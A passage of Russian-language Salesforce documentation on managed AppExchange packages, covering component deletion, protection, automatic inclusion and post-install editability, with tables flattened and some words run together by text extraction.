содержит дополнительные сведения об удалении компонентов.

• Нет: разработчик не может удалить компонент со статусом «Управляемый — выпущенный».

• Да: разработчик может удалить компонент со статусом «Управляемый — выпущенный».

Защищаемый
Разработчики могут помечать некоторые компоненты в качестве защищенных. Защищенные компоненты не могут
быть связаныилииспользоваться компонентами, созданнымиворганизацииподписчика. Разработчикможет удалить
защищенныйкомпонентвбудущемвыпуске. Удалениеневлияетнапроцессустановкипакета. Компонент, помеченный
как незащищенный и доступный всем пользователям, не может быть удален. Если версия пакета, устанавливаемая
подписчиком, не содержит компонента, то компонент удаляется из организации подписчика.

• Нет: компонент не может быть помечен как защищенный.

• Да: компонент может быть помечен как защищенный.

Защита интеллектуальной собственности
Некоторые компоненты автоматически поддерживают защиту интеллектуальной собственности (например,
запутывание кода Apex). Исключением являются глобальные методы Apex, то есть подписчики могут просматривать
сигнатуры методов. Информация, доступная в пакетируемых и публикуемых компонентах, может отображаться
пользователям в каталогеAppExchange. Рекомендуем проявлять осторожность при добавлении кода в настраиваемый
элемент S-Control, формулу, страницу Visualforce или любой другой компонент, который не может быть скрыт в
приложении.

• Нет: компонент не поддерживает защиту интеллектуальной собственности.

• Да: компонент поддерживает защиту интеллектуальной собственности.

Защита
интеллектуальной
собственности

ЗащищаемыйУдаляемый
разработчиком

Удаляемый
подписчиком

ОбновляемыйКомпонент

НетНетНетНетДаДействие

НетНетДаДаНетОтчетный
снимок

ДаНетДа (если не задан
глобальный
доступ)

НетДаКласс Apex

НетНетНетНетДаПричинаобщего
доступа к Apex

НетНетДаДаНетПересчет
общего доступа
к Apex

ДаНетДаНетДаТриггер Apex

НетНетДаДаНетПриложение

НетНетНетНетДаТип статьи
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Защита
интеллектуальной
собственности

ЗащищаемыйУдаляемый
разработчиком

Удаляемый
подписчиком

ОбновляемыйКомпонент

НетНетНетДаНетЦентр
обработки
вызовов

НетНетНетНетДаКомпактный
макет

НетНетДаДаДаСвязанное
приложение

НетНет, кроме
настраиваемых

Да**Да*ДаНастраиваемая
кнопка или
ссылка ссылок (толькодля

начальной
страницы)

НетНетДа**Да*ДаНастраиваемое
поле

НетДаДа, если защищенНетДаНастраиваемая
метка

НетНетДа**Да*ДаНастраиваемый
объект

НетНетНетНетДаНастраиваемое
полномочие

НетНетНетНетДаТип
настраиваемых
отчетов

ДаНетДа**Да*ДаНастраиваемый
параметр

НетНетДаДаНетПанель
мониторинга

НетНетДаДаНетДокумент

НетНетДаДаНетШаблон эл.
почты

НетНетНетНетДаВнешний
источник
данных

НетНетДа**Да*ДаНабор полей

НетНетНетНетДаСтраница
Lightning
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Защита
интеллектуальной
собственности

ЗащищаемыйУдаляемый
разработчиком

Удаляемый
подписчиком

ОбновляемыйКомпонент

НетНетНетДаДаПоток

НетНетДаДаНетПапка

НетНетНетНетДаКомпонент
начальной
страницы

НетНетДаДаНетМакет
начальной
страницы

НетНетДаДаНетФирменный
бланк

НетНетНетНетДаПриложение
Lightning

НетНетНетНетДаКомпонент
Lightning

НетНетНетНетДаСобытие
Lightning

НетНетНетНетДаИнтерфейс
Lightning

НетНетДаДаНетСписковое
представление

НетНетНетНетДаИменованные
регистрационные
данные

НетНетДаДаНетМакетстраницы

НетНетДа**Да*ДаНабор
полномочий

См. поток.Процесс

НетНетДа**Да*ДаТип записи

НетНетДаДаНетПараметр
удаленного узла

НетНетДаДаНетОтчет

НетНетНетНетДаS-Control

НетНетДа**Да*ДаСтатический
ресурс
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Защита
интеллектуальной
собственности

ЗащищаемыйУдаляемый
разработчиком

Удаляемый
подписчиком

ОбновляемыйКомпонент

НетНетДа**Да*ДаВкладка

НетНетНетНетДаПеревод

НетНетДа**Да*ДаПравило
проверки

ДаНетДа**Да***ДаКомпонент
Visualforce

НетНетДа**Да*ДаСтраница
Visualforce

НетДаДа, если защищенНетДаЭлектронное
предупреждение
бизнес-правила

НетДаДа, если защищенНетДаОбновлениеполя
бизнес-правила

НетДаДа, если защищенНетДаИсходящее
сообщение
бизнес-правила

НетНетНетНетДаБизнес-правило

НетДаДа, если защищенНетДаЗадача
бизнес-правила

* При удалении данного типа компонента из новой версии пакета и обновлении подписчика компонент может быть
удален администратором (системным администратором) организации подписчика.

** Если организация пакетирования поддерживает возможность удаления компонентов, то данные типы компонентов
могут быть удалены даже при условии их использования в пакете «Управляемый — выпущенный».

*** При удалении общедоступного компонента Visualforce из новой версии пакета и обновлении подписчика компонент
удаляется из организации подписчика при обновлении. Компонент Visualforce, являющийся глобальным, сохраняется в
организации подписчика до удаления администратором (системным администратором).

Атрибуты и алгоритмы компонентов
Только некоторые атрибуты компонента являются обновляемыми. Управляемые пакеты меняют алгоритмы многих
компонентов и применяют дополнительные ограничения. Рекомендуем учитывать данные алгоритмыпри создании
пакета.

Если вы зарегистрируете свое пространствоименпосле того, как сделаете ссылку на потокна странице Visualforceили
в коде Apex, не забудьте добавить пространство имен к имени потока. Если этого не сделать, установка пакета будет
невозможна.
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Удаление страниц Visualforce и глобальных компонентов Visualforce
Прежде чем удалить страницы Visualforce или глобальные компоненты Visualforce из пакета, удалите все ссылки на
общедоступныеклассыApexиобщедоступныекомпонентыVisualforceиз удаляемыхстранициликомпонентов. После
удаления ссылок установитепромежуточнуюверсиюпакетаперед удалениемстраницыили глобальногокомпонента.

СМ. ТАКЖЕ:

Руководство ISVforce: удаление компонентов из управляемых пакетов

Защищенные компоненты
Разработчики могут помечать некоторые компоненты в качестве защищенных. Защищенные компоненты не могут быть
связаны или использоваться компонентами, созданными в организации подписчика. Разработчик может удалить
защищенный компонент в будущем выпуске. Удаление не влияет на процесс установки пакета. Компонент, помеченный
как незащищенный и доступный всем пользователям, не может быть удален.

Ниже перечислены компоненты, которые разработчики управляемых пакетов могут помечать в качестве защищенных.

• Настраиваемые метки

• Настраиваемые ссылки (только для начальной страницы)

• Предупреждения бизнес-правил

• Обновления полей бизнес-правил

• Исходящие сообщения бизнес-правил

• Задачи бизнес-правил

• Триггеры потока бизнес-правила

Конструктор процессов заменяет триггеры потока как действия бизнес-правила, ранее доступные только в пробной
версии. Организации, использующие триггеры потока как действия бизнес-правила, могут продолжить их создание
и редактирование; триггеры потока как действия бизнес-правила недоступны новым организациям.

Компоненты, добавляемые в пакеты автоматически
Добавлениекомпонентоввпакетинициирует автоматическоедобавлениенекоторыхсвязанныхкомпонентов. Например,
добавление страницы Visualforce в пакет, ссылающийся на настраиваемый контроллер, инициирует добавление
соответствующего класса Apex.

Таблица ниже содержит список компонентов, которые могут добавляться автоматически.

Типы автоматически добавляемых компонентовДобавляемый компонент

Целевой объект действия (если объект является настраиваемым), целевое поле
действия, тип записи действия, предопределенные значения поля, макет действия;

Действие

а также любые настраиваемые поля, используемые макетом действия или
предопределенными значениями в целевом объекте

ОтчетыОтчетный снимок
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Типы автоматически добавляемых компонентовДобавляемый компонент

Настраиваемые поля, настраиваемые объекты и другие явно ссылочные классы
Apex, а также любые компоненты, которые напрямую используются классом Apex

Класс Apex

Прим.: Если класс Apex ссылается на настраиваемую переведенную метку,
тоотдельныеязыкипереводадолжныбытьдобавленыпользователемвпакет.
В противном случае пакет не содержит переводы данной метки.

Настраиваемые поля, настраиваемые объекты и любые явно ссылочные классы
Apex, а также любые компоненты, которые напрямую используются триггером
Apex

Триггер Apex

Настраиваемые поля, стандартный макет страницыТип статьи

Настраиваемые поляКомпактный макет

Настраиваемыевкладки (включаявеб-вкладки), документы (сохраненныенавкладке
как изображения), папка документов

Настраиваемое приложение

Настраиваемые поля и настраиваемые объектыНастраиваемая кнопка или ссылка

Настраиваемые объектыНастраиваемое поле

Настраиваемые компоненты начальной страницы для макетаНастраиваемые макеты начальной
страницы

Причиныобщегодоступа кApex, пересчетыобщегодоступа кApex, триггерыApex,
настраиваемыекнопкиилиссылки, настраиваемыеполя, списковыепредставления,
макеты страниц, типы записей, правила проверки

Настраиваемые параметры

Настраиваемыеполя, правилапроверки, макетыстраниц, списковыепредставления,
настраиваемые кнопки, настраиваемые ссылки, типы записей, причины общего
доступа к Apex, пересчеты общего доступа к Apex, триггеры Apex

Настраиваемый объект

Прим.:

• Расширения не поддерживают причины общего доступа к Apex.

• Пакетирование и установка настраиваемого объекта инициируют
установку только общедоступных списковых представлений из
приложения. Если настраиваемый объект содержит настраиваемые
списковые представления, которые должны быть добавлены в пакет,
убедитесь, что данные списковые представления доступны всем
пользователям.

Внешний источник данных, настраиваемые поля, макеты страниц, списковые
представления, настраиваемые кнопки и настраиваемые ссылки

Настраиваемый объект (как
внешний объект)

Прим.:

• Пакетирование и установка настраиваемого объекта инициируют
установку только общедоступных списковых представлений из
приложения. Есливнешнийобъект содержитнастраиваемыесписковые
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Типы автоматически добавляемых компонентовДобавляемый компонент

представления, которые должны быть добавлены в пакет, убедитесь, что
данные списковые представления доступны всем пользователям.

• Внешние объекты управляемых и неуправляемых пакетов добавляются
в компонент настраиваемого объекта.

Настраиваемыеобъекты (включая все компоненты), элементы S-Control истраницы
Visualforce

Настраиваемая вкладка

Папки, отчеты (включая все компоненты), элементы S-Control истраницыVisualforceПанель мониторинга

ПапкаДокумент

Папка, фирменный бланк, настраиваемые поля и документы (сохраненные в
фирменном бланке или шаблоне как изображения)

Шаблон эл. почты

Любые ссылочные поляНабор полей

Любые связанные действияСтраница Lightning

Страница LightningВкладка страницы Lightning

Настраиваемые объекты, настраиваемые поля, классы Apex, страницы VisualforceПоток

Все компоненты папкиПапка

Все ресурсы Lightning, на которые ссылается приложение (например, компоненты,
событияиинтерфейсы). Настраиваемыеполя, настраиваемыеобъекты, списковые
представления, макеты страниц и классы Apex, на которые ссылается приложение.

Приложение Lightning

Все ресурсы Lightning, на которые ссылается компонент (например, вложенные
компоненты, событияиинтерфейсы). Настраиваемыеполя, настраиваемыеобъекты,

Компонент Lightning

списковые представления, макеты страниц и классы Apex, на которые ссылается
компонент.

Настраиваемые поля, настраиваемые объекты, списковые представления имакеты
страниц

Событие Lightning

Настраиваемые поля, настраиваемые объекты, списковые представления имакеты
страниц

Интерфейс Lightning

Действия, настраиваемые кнопки, настраиваемые ссылки, элементы S-Control и
страницы Visualforce

Макет страницы

Любые настраиваемые полномочия, внешние источники данных, страницы
Visualforce и классы Apex, назначенные в наборе полномочий

Набор полномочий

Соотнесения типов записей, компактный макетТип записи

Папка, настраиваемыеполя, настраиваемыеобъекты, типынастраиваемыхотчетов,
настраиваемые элементы S-Control

Отчет

Настраиваемые поля и настраиваемые объектыЭлемент S-Control

Переведенные термины любого компонента пакетаПеревод
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Типы автоматически добавляемых компонентовДобавляемый компонент

Настраиваемые поля (используемые формулой)Правило проверки

Связанная страница VisualforceКомпонент начальной страницы
Visualforce

Классы Apex, используемые как настраиваемые контроллеры, настраиваемые
компоненты Visualforce, наборы ссылочных полей

Страницы Visualforce

Все связанныепредупреждения, обновленияполя, исходящиесообщенияи задачи
бизнес-правила; а также настраиваемый объект (если бизнес-правило создано для
настраиваемого объекта)

Бизнес-правило

Прим.: Некоторые компоненты пакета (например, правила проверки или типы записей) могут не отображаться в
списке компонентов пакета, но добавляются и устанавливаются наряду с другими компонентами.

Редактирование компонентов и атрибутов после установки
Таблица ниже отображает компоненты и атрибуты, доступные для редактирования после установки из управляемого
пакета. Ниже перечислены разделы, описывающие столбцы таблицы и их значения.

Редактируемый разработчиком
Данныйстолбецсодержит атрибутыкомпонентов, которыемогутредактироватьсяразработчиком. Данные атрибуты
блокируются в организации подписчика.

Редактируемый разработчиком и подписчиком
Данный столбец содержит атрибуты компонентов, которые могут редактироваться разработчиком и подписчиком.
Тем не менее, данные атрибуты недоступны для обновления. Последние изменения доступны только новым
подписчикам.

Заблокированный
Данныйстолбецсодержитатрибутыкомпонентов, которыенемогутредактироватьсяразработчикомилиподписчиком
после назначения пакету статуса «Управляемый — выпущенный».

ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

Действие •• Целевой тип записи Всеполя, кромецелевого
типа записи• Макет действия

• Предопределенные
значения для полей
действия

Отчетный снимок •• Уникальное имя
отчетного снимка

Все атрибуты, кроме
уникального имени
отчетного снимка

Класс Apex •• Версия API Имя
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ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

• Код

Причина общего доступа
к Apex

•• Имя причиныМетка причины

Пересчет общего доступа
к Apex

• Класс Apex

Триггер Apex •• Версия API Имя

• Код

Приложение •• Имя приложенияВсе атрибуты, кроме
имени приложения

Типы статей •• Доступно для
клиентского портала

• Описание Имя

• Метка
• Отображение каналов• Метка множественного

числа • Стандартная модель
общего доступа• Начинается с гласного

звука • Статус разработки

• Включить
подразделения

• Предоставить доступ с
использованием
иерархий

• Макеты поиска

Компактный макет • Все атрибуты

Связанное приложение • API-имя• URL-адрес ACS• Метод доступа

• URL-адрес приложения
холста

• Дата создания/создал• Код объекта

• •Смягчение ограничений
IP-адресов

Ключ пользователя
• URL-адрес обратного

вызова
• Секрет пользователя

• Управление наборами
полномочий

• Установил
• Имя связанного

приложения
• Дата установки

• Управлениепрофилями
• Дата последнего

изменения/последнее
изменение сделано

• Адрес эл. почтыконтакта • Мобильный начальный
URL-адрес• Тел. контакта

•• Разрешенные
пользователи

Описание • Версия
• URL-адрес значка

5948

Управление пакетамиСоздание и распространение пакетов приложений



ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

• Политика маркеров
обновления

• URL-адрес сведений

• Диапазон надежных
IP-адресов • Атрибуты SAML

• Области • Сертификатпоставщика
услуг• URL-адрес изображения

логотипа • Начальный URL-адрес

• •Области OAuth Тип темы

Настраиваемая кнопка
или ссылка

• Тип отображения• Высота• Алгоритм

• ••URL-адрес кнопки или
ссылки

ИмяРазрешить изменение
размеров

• Показать адресную
строку

• Источник содержимого

• Описание
• Показать строку меню• Отображать флажки
• Показать полосы

прокрутки
• Метка

• Кодировка ссылки
• Показать строку

состояния

• Показать панели
инструментов

• Ширина

• Положение окна

Настраиваемое поле • Имя дочерней
взаимосвязи

• Отслеживание ленты
Chatter

• Формат отображения
автонумерации

• Текст справки• •Знаки после запятой Тип данных

• Тип маски• •Описание Внешний код

• Символ маски• •Стандартное значение Имя поля

• Параметр общего
доступа

• •Метка поля Обязательно

• •Формула Поле сводного
резюмирования• Сортировать значения

раскрывающегосясписка
• Длина

• Объект сводного
резюмирования

• Фильтр поиска
• Отслеживать журнал

поля
• Метка связанного списка

• Тип сводного
резюмирования

• Критерии фильтрации
полей сводного
резюмирования • Уникальное

Настраиваемая метка •• Категория Имя

• Краткое описание
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ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

• Значение

Настраиваемый объект • Имя объекта• Разрешить действия• Описание

• Метка • Тип данных имени
записи

• Разрешить отчеты

•• Доступно для
клиентского портала

Метка множественного
числа • Формат отображения

имени записи•• Параметры
контекстно-зависимой
справки

Имя записи

• Начинается с гласного
звука

• Стандартная модель
общего доступа

• Статус разработки

• Включить
подразделения

• Расширенный поиск

• Предоставить доступ с
использованием
иерархий

• Макеты поиска

• Отслеживать журнал
поля

Настраиваемое
полномочие

• Связанное приложение

• Описание

• Метка

• Имя

Тип настраиваемых
отчетов

••• Имя типа отчетаСтатус разработкиВсе атрибуты, кроме
статуса разработки и
имени типа отчета

Настраиваемыйпараметр • Имя объекта• Описание

• • Тип параметраМетка

• Доступность

Панель мониторинга •• Уникальное имя панели
мониторинга

Все атрибуты, кроме
уникального имени
панели мониторинга
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ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

Документ •• Уникальное имя
документа

Все атрибуты, кроме
уникального имени
документа

Шаблон эл. почты •• Имяшаблона эл. почтыВсе атрибуты, кроме
именишаблона эл.
почты

Внешний источник
данных

•• Поставщик проверки
подлинности

• ИмяТип

• Сертификат

• Настраиваемая
конфигурация

• Конечная точка

• Тип удостоверения

• Область OAuth

• Пароль

• Протокол

• Имя пользователя

Набор полей ••• Описание ИмяВыбранные поля
(контролируютсятолько
подписчиком)

• Метка

• Доступные поля

Страница Lightning • Страница Lightning

Поток • Уникальное имя потока• Имя• Весь поток

•• URL-адресОписание

• Статус

Папка •• Уникальное имя папкиВсе атрибуты, кроме
уникального имени
папки

Компонент начальной
страницы

• Имя• Текст

• •Положение компонента Тип

Макет начальной
страницы

•• Имя макетаВсе атрибуты, кроме
имени макета
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ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

Фирменный бланк •• ИмяфирменногобланкаВсе атрибуты, кроме
имени фирменного
бланка

ИмяПриложение Lightning • Версия API

• Описание

• Метка

• Разметка

ИмяКомпонент Lightning • Версия API

• Описание

• Метка

• Разметка

ИмяСобытие Lightning • Версия API

• Описание

• Метка

• Разметка

ИмяИнтерфейс Lightning • Версия API

• Описание

• Метка

• Разметка

Списковоепредставление •• Уникальное имя
представления

Все атрибуты, кроме
уникального имени
представления

Именованные
регистрационныеданные

•• Поставщик проверки
подлинности

• Конечная точка Имя

• Метка
• Сертификат

• Тип удостоверения

• Область OAuth

• Пароль

• Протокол

• Имя пользователя

Макет страницы •• Имя макета страницыВсе атрибуты, кроме
имени макета страницы
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ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

Набор полномочий •• Описание Имя

• Метка

• Полномочия
настраиваемого объекта

• Полномочия
настраиваемого поля

• Параметры доступа к
классам Apex

• Параметры доступа к
страницам Visualforce

Тип записи •• Активно• Описание Имя

•• Бизнес-процессМетка типа записи

Все атрибуты, кроме имени
удаленного узла

Параметрудаленногоузла • Имя удаленного узла

Отчет •• Уникальное имя отчетаВсе атрибуты, кроме
уникального имени
отчета

S-Control • Имя элемента S-Control•• Содержимое Предварительно
встроенный в страницу• •Описание Тип

• Кодировка

• Имя файла

• Метка

Статический ресурс •• Описание Имя

• Файл

Вкладка •• Поддержка Salesforce
Classic Mobile

• Описание Имя вкладки

• Кодировка
• Стиль вкладки• Содержит боковую

панель

• Высота

• Метка

• Элемент S-Control

• Настраиваемая ссылка
заставки

• Тип
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ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

• URL-адрес

• Ширина

Перевод • Все атрибуты

Правило проверки ••• Описание Имя правилаАктивно

• Формула ошибочного
условия

• Расположение ошибки

• Сообщение об ошибке

Компонент Visualforce •• Версия API Имя

• Описание

• Метка

• Разметка

Страница Visualforce •• Версия API Имя

• Описание

• Метка

• Разметка

Электронное
предупреждение
бизнес-правила

•• Дополнительные адреса
эл. почты

Описание

• Шаблон эл. почты

• Адрес эл. почты
отправителя

• Получатели

Обновление поля
бизнес-правила

••• Описание ИмяПоиск

• Значение поля

• Значение формулы

Исходящее сообщение
бизнес-правила

••• Описание ИмяПользователь для
отправки как• URL-адрес конечной

точки

• Поля для отправки

• Код сеанса отправки

Бизнес-правило ••• Описание Имя правилаАктивно
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ЗаблокированныйРедактируемый
разработчиком и
подписчиком

Редактируемый
разработчиком

Компонент

• Критерии оценки

• Критерии правила

Задача бизнес-правила •• Назначить Тема

• Комментарии

• Крайний срок

• Приоритет

• Тип записи

• Статус

Алгоритм компонента в пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания пакетов
AppExchange:
• «Создание пакетов

AppExchange»

При создании приложения, подлежащего распространению, заранее определитесь с
выбором компонентов пакетов, способов создания приложения и каналов
распространения управляемых и неуправляемых пакетов.

Прим.:

• Имена компонентов должны быть уникальными внутри одной организации.
Чтобыпредотвратитьконфликтимен, возможныйприустановке компонентов
в организацию, рекомендуем использовать управляемый пакет, позволяющий
добавлять префикс пространства имен во все имена компонентов.

Отчетный снимок
Разработчики управляемых пакетов должны помнить о возможных последствиях
внедрения отчетных снимков, ссылающихся на отчеты, выпущенные в предыдущей
версии пакета. Если подписчик удаляет или перемещает отчет в личную папку, то
отчетный снимок, ссылающийся на отчет, не устанавливается (хотя страница
«Установка пакета» может указывать на обратное). Если подписчик изменяет отчет,
то результаты отчета могут влиять на данные, отображаемые отчетным снимком.
Рекомендуемразработчикамиспользоватьоднуверсиюпакетадлявыпускаотчетного
снимка и связанных отчетов.

Текущий пользователь выбирается подписчиком, поэтому некоторые соотнесения
полей отчетного снимка могут быть недействительными при отсутствии доступа
текущего пользователя к исходным или целевым полям.

Классы или триггеры Apex

Совокупное тестовое покрытие любого кода Apex, добавляемого в пакет, должно составлять не менее 75%. Каждый
триггертакжедолженохватыватьсянекоторымтестовымпокрытием. ЗагрузкапакетавкаталогAppExchangeинициирует
выполнениевсех тестовнапредметналичияошибок. Установкапакета ворганизациюустановщикатакжеинициирует
выполнение всех тестов. При неудачном выполнении тестов установщик может самостоятельно определить
необходимость установки пакета.
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Совет: Воизбежаниеконфликтовимен, компания salesforce.comрекомендуетиспользоватьуправляемыепакеты
для всех пакетов, содержащих код Apex. Данный алгоритм позволяет добавлять префикс пространства имен во
всеобъектыApex. Например, прииспользованиипространстваимен (OneTruCode) классуApex (MyHelloWorld)
назначается имя OneTruCode.MyHelloWorld.

Ниже перечислены рекомендации по добавлению Apex в пакеты.

• Управляемые пакеты используют уникальное пространство имен. Данное пространство имен автоматически
добавляется к именам классов, методам и переменным, исключая возможность создания повторяющихся имен в
организации установщика.

• Одна транзакция поддерживает не более 10 уникальных пространств имен. Например, организация использует
объект, обновление которого инициирует выполнение класса управляемого пакета. Данный класс обновляет
второйобъект, который, в своюочередь, выполняет другойкласс другогопакета. Несмотряна косвенностьдоступа
первого пакета, второй пакет, обработанный той же транзакцией, учитывается количеством пространств имен,
используемых в одной транзакции.

• Прииспользованииметодоввкачествевеб-службрекомендуемдобавитьподробнуюдокументацию, позволяющую
подписчикам создавать внешний код, вызывающий веб-службы.

• Если класс Apex ссылается на настраиваемую переведенную метку, то отдельные языки перевода должны быть
добавлены пользователем в пакет. В противном случае пакет не содержит переводы данной метки.

• Использование объекта общего доступа для настраиваемого объекта (например, MyCustomObject__share) в Apex
добавляет зависимость модели общего доступа в пакет. Чтобы разрешить другим организациям установку пакета,
рекомендуем задать единому стандартному параметру общего доступа для настраиваемого объекта значение
«Личный».

• Код, доступный в классе или триггере Apex, который является частью управляемого пакета, автоматически
маскируется и не может быть просмотрен организацией-установщиком. Исключением являются глобальные
методы, то есть организации-установщики могут просматривать сигнатуры методов.

• Чтобы определить глобальные методы, классы, исключения, нумерации, интерфейсы и переменные, которые
должны быть недоступны в последующих выпусках соответствующего управляемого пакета, воспользуйтесь
пометкой Apex «нерекомендуемый». Данная пометка помогает выполнять необходимую реорганизацию кода в
управляемыхпакетах. Загрузкановойверсиипакета со статусом «Управляемый — выпущенный»блокирует доступ
новыхподписчиковкнерекомендуемымэлементам, носохраняетихфункциональностьдлятекущихпользователей
и интеграций API.

• Любой код Apex, доступный в управляемомпакете, который явно ссылается на пространство имен, не может быть
загружен.

• Код Apex, ссылающийся на категории данных, не может быть загружен.

• Прежде чем удалить страницы Visualforce или глобальные компоненты Visualforce из пакета, удалите все ссылки на
общедоступные классы Apex и общедоступные компоненты Visualforce из удаляемых страниц или компонентов.
После удаления ссылок установите промежуточную версию пакета перед удалением страницы или глобального
компонента.

Причины общего доступа к Apex
ПричиныобщегодоступакApexмогутбытьдобавленыпрямовпакет, нодоступнытолькодлянастраиваемыхобъектов.

Компактные макеты
Пакетированиекомпактногомакетанеохватывает соотнесениятипов записей. Подписчикиилиустановщикипакета,
содержащего компактный макет, должны восстановить соотнесения типов записей в своих организациях.
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Связанные приложения

• Связанные приложения могут быть добавлены только в управляемые пакеты. Связанные приложения не
поддерживаются неуправляемыми пакетами.

• Подписчикиилиустановщикипакетанемогут удалить связанноеприложение, номогут удалить соответствующий
пакет. Разработчик может удалить связанное приложение после загрузки пакета со статусом
«Управляемый — выпущенный». Связанное приложение удаляется из организации подписчика при обновлении
пакета.

• Еслипользователь обновляет и добавляет связанноеприложение в новуюверсиюпакета, то обновление данного
пакета в клиентской организации инициирует обновление текущего связанного приложения.

• Принудительноеобновлениепакета, содержащегосвязанноеприложение, область OAuth илидиапазоны IP-адресов
которого отличаются от предыдущей версии, инициирует ошибку обновления. Данное средство безопасности
позволяетблокироватьдоступнезарегистрированныхпользователейкклиентскойорганизациипутемобновления
установленного пакета. Тем не менее, клиентам доступно добровольное обновление того же пакета.

• Текущее связанное приложение (приложение, созданное до выпуска Summer'13) может быть добавлено в
управляемыйпакет. Крометого, одинуправляемыйпакетможетсодержатьтекущиеиновыесвязанныеприложения.

• Текущий URL-адрес установкисвязанногоприложения, созданногодовыпуска Summer'13, остаетсядействительным
до пакетирования и загрузки новой версии. Загрузка новой версии пакета, содержащей обновленное связанное
приложение, блокирует текущий URL-адрес установки.

Настраиваемая консоль
Пакет, содержащийнастраиваемый компонент консоли, может быть установлен в организацию только при наличии
лицензии Service Cloud или полномочия «Sales Console».

Настраиваемые поля

• Значения раскрывающихся списков для настраиваемых полей могут быть добавлены, изменены или удалены
подписчиками. Данная особенность должна учитываться разработчиками при явном добавлении значения
раскрывающегося списка в код. Значения раскрывающихся списков могут быть добавлены или удалены
разработчиками. Обновление пакета не инициирует добавление новых значений раскрывающихся списков в
текущие поля организации подписчика. Более того, организации подписчика доступны любые значения
раскрывающихся списков, удаленные разработчиком.

• Разработчики могут дополнять управляемые пакеты обязательными и универсальными обязательными
настраиваемыми полями, содержащими стандартные значения.

• Поля типа «Автонумерация» и обязательные поля не могут быть добавлены после загрузки объекта в пакет со
статусом «Управляемый — выпущенный».

Настраиваемые метки
Пакет может быть дополнен переводами метки только после явного добавления соответствующего языка в пакет.
Подписчики могут переопределить стандартный перевод настраиваемой метки.

Настраиваемые объекты

• Атрибуты «Разрешить отчеты» и «Разрешить действия», включенныеразработчикомдлянастраиваемогообъекта
пакета, становятсядоступнымиорганизацииподписчикапослеобновленияпакета. Данныеатрибуты, включенные
впакетесостатусом «Управляемый — выпущенный», немогутбытьотключеныразработчикомилиподписчиком.

• Переопределения стандартных кнопок и ссылок являются пакетируемыми.

Настраиваемые полномочия
Приразвертываниинабораизмененийпосредствомнастраиваемогополномочия, содержащегосвязанноеприложение,
убедитесь, что связанное приложение уже установлено в целевой организации.
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Типы настраиваемых отчетов
Разработчик может редактировать тип настраиваемого отчета после выпуска управляемого пакета и добавлять новые
поля. Подписчики получают данные изменения автоматически при установке новой версии управляемого пакета.
Тем не менее разработчики не могут удалять объекты или поля из типа отчета после выпуска пакета. Если удалить
поле в типе настраиваемого отчета, который входит в состав управляемого пакета, а удаленное поле использовалось
в области или в группе, тогда отобразится сообщение об ошибке.

Настраиваемые параметры

• Настраиваемый параметр, доступный в управляемом пакете, полю «Доступность» которого задано значение
«Защищенный», отсутствует в списке компонентовпакета дляорганизацииподписчика. Подписчикунедоступны
все данные настраиваемого параметра.

Настраиваемые вкладки

• Поле настраиваемой вкладки «Стиль вкладки» должно содержать уникальное значение в пределах приложения.
Тем не менее, выбранный стиль может повторяться в организации-установщике. Стиль настраиваемой вкладки
не противоречит текущей настраиваемой вкладке в среде установщика.

• Чтобы указать имена настраиваемых вкладок на разных языках, введите строку «Переименовать вкладки и метки»
в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Переименовать вкладки и метки».

• Подписчики не могут редактировать настраиваемые вкладки в управляемых пакетах.

Клиентский портал и партнерский портал
Система поддерживает пакеты, ссылающиеся на поля клиентского или партнерского портала. Пакет может быть
установлен только при наличии доступа подписчика, устанавливающего пакет, к соответствующему порталу.

Компоненты панели мониторинга
Разработчики управляемых пакетов должны помнить о возможных последствиях внедрения компонентов панели
мониторинга, ссылающихся на отчеты, выпущенные в предыдущей версии пакета. Если подписчик удаляет или
перемещает отчет в личную папку, то компонент панели мониторинга, ссылающийся на отчет, не устанавливается.
Если подписчик изменяет отчет, то результаты отчета могут влиять на данные, отображаемые компонентом панели
мониторинга. Рекомендуем разработчикам использовать одну версию пакета для выпуска панели мониторинга и
связанных отчетов.

Подразделения

• Если настраиваемый объект пакета поддерживает подразделения, то пакет может быть установлен только при
использовании подразделений в организации-подписчике.

• Настройка фильтра отчета по полю «Подразделение» не инициирует создание зависимости. Данный параметр
пропускается при установке в организацию подписчика.

• Резюмирование данных отчета по полю объекта «Подразделение» (например, подразделение организации)
инициирует создание зависимости.

• Еслиполеобъекта «Подразделение» добавляетсявотчетввидестолбца, аорганизацияподписчиканеподдерживает
подразделения объекта, то столбец пропускается при установке.

• Если устанавливаемый тип настраиваемого отчета содержит поле объекта «Подразделение» в виде столбца, а
организация не поддерживает подразделения, то данный столбец пропускается.

Внешние источники данных

• После установки внешнего источника данных из управляемого или неуправляемого пакета подписчик должен
выполнить повторную проверку подлинности во внешней системе.

– Прииспользованиипроверкиподлинностипаролейподписчикдолженповторноввестипарольвопределение
внешнего источника данных.

5958

Управление пакетамиСоздание и распространение пакетов приложений



– Прииспользовании OAuth подписчикдолженобновить URL-адрес обратного вызова в конфигурацииклиента
дляпоставщикапроверкиподлинности, а затемвыполнитьповторнуюпроверкуподлинностипутемустановки
флажка «Начать процесс проверки подлинности при сохранении» для внешнего источника данных.

• Сертификаты не подлежат пакетированию.При пакетировании внешнего источника данных, определяющего
сертификат, убедитесь, что организация подписчика использует действительный сертификат с тем же именем.

Внешние объекты
Внешние объекты управляемых и неуправляемых пакетов добавляются в компонент настраиваемого объекта.

Зависимости полей

• Разработчики и подписчики могут добавлять, изменять или удалять зависимости полей.

• Зависимость поля, созданная разработчиком, добавляется при установке, если данному полю еще не задана
зависимость, созданная подписчиком.

• Удаление зависимости разработчиком не отображается в организации подписчика при обновлении.

